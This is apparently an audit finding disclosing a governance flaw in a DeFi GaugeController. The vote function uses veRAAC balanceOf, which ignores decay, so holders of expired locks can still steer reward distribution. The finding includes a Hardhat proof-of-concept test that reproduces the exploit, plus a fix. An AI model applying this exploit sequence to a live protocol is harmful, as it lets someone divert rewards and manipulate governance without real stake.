Summary
The GaugeController allows users to vote on gauge weights using their veRAAC balance. However, the current implementation incorrectly uses a standard balanceOf function, which ignores the decay inherent to ve-tokens. As a result, users can vote using expired or fully-decayed veRAAC balances, effectively allowing them to influence reward distributions even after their true voting power has reduced to zero.
Vulnerability Details
Users can vote on the weights attributed to each guage via GaugeController::vote. These weights are used to determine how much rewards are distributed to each gauge and users who have staked to a particular gauge get RAAC emissions from the gauge they are staked in.
* @notice Core voting functionality for gauge weights
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
The exploit lies in the following line:
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
Voting escrow mechanics work with an ever decreasing user balance as a user's balance is time weighted and as time increases, the user's balance reduces. The balanceOf used in the line above is a standard ERC20 balanceOf function that simply returns the user's balance that they were minted during their initial lock/ whenever they are minted new veRAAC via veRAAC::increase or veRAAC::extend. The problem with this is that this doesnt take the rate of decay into consideration which presents a situation where a user can vote via GaugeController::vote when their voting power is 0. Since the rate of decay isnt taken into account, when a user's lock has expired, the balanceOf function returns the amount of tokens the user has and doesn't consider the impact of time on the user's balance.
Proof Of Code (POC)
This test was run in GaugeController.test.js file in the "Period Management" describe block. There is some extra setup required in this test as the veRAACToken used in this file is a MockToken that doesnt take decay into account. As a result, we have to change the setup to implement veRAACToken.sol. To do this, replace the "GaugeController" descibe block and its beforeEach with the following:
describe("GaugeController", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let feeAdmin;
let raacToken;
let user1;
let user2;
let user3;
let user4;
let users;
const MONTH = 30 * 24 * 3600;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
const { MaxUint256 } = ethers;
const duration = 365 * 24 * 3600;
beforeEach(async () => {
[
owner,
gaugeAdmin,
emergencyAdmin,
feeAdmin,
user1,
user2,
user3,
user4,
...users
] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockToken");
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress(); */
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await rwaGauge.waitForDeployment();
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.waitForDeployment();
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(
EMERGENCY_ADMIN_ROLE,
emergencyAdmin.address
);
await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0,
0
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1,
0
);
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});
The relevant test is as follows:
it("user with no voting power can vote", async () => {
const INITIAL_MINT = ethers.parseEther("1000000");
await raacToken.mint(user1.address, INITIAL_MINT);
await raacToken
.connect(user1)
.approve(await veRAACToken.getAddress(), MaxUint256);
await veRAACToken.connect(user1).lock(INITIAL_MINT, duration);
const user1bal = await veRAACToken.balanceOf(user1.address);
console.log("User 1 balance", user1bal);
await time.increase(duration + 1);
const user1votingPower = await veRAACToken.getVotingPower(user1.address);
console.log("User 1 voting power", user1votingPower);
await gaugeController
.connect(user1)
.vote(await raacGauge.getAddress(), 5000);
const user1votes = await gaugeController.userGaugeVotes(
user1.address,
await raacGauge.getAddress()
);
console.log("User 1 votes", user1votes);
assert(user1votes > 0);
});
Impact
Reward Distribution Manipulation: Users with no effective voting power can influence gauge weights, redirecting rewards unfairly.
Governance Exploit: Attackers or malicious actors could strategically lock minimal tokens initially, wait for expiry, and continue influencing critical governance decisions without having genuine economic interest or active token exposure.
Tools Used
Manual Review, Hardhat
Recommendations
Replace the direct call to the standard ERC20 balanceOf function with the appropriate veRAAC-specific voting power function (getVotingPower()):
uint256 votingPower = veRAACToken.getVotingPower(msg.sender);
This ensures voting power correctly reflects real-time token decay and prevents votes from users whose lock duration has expired, safeguarding fair reward distributions and accurate governance outcomes.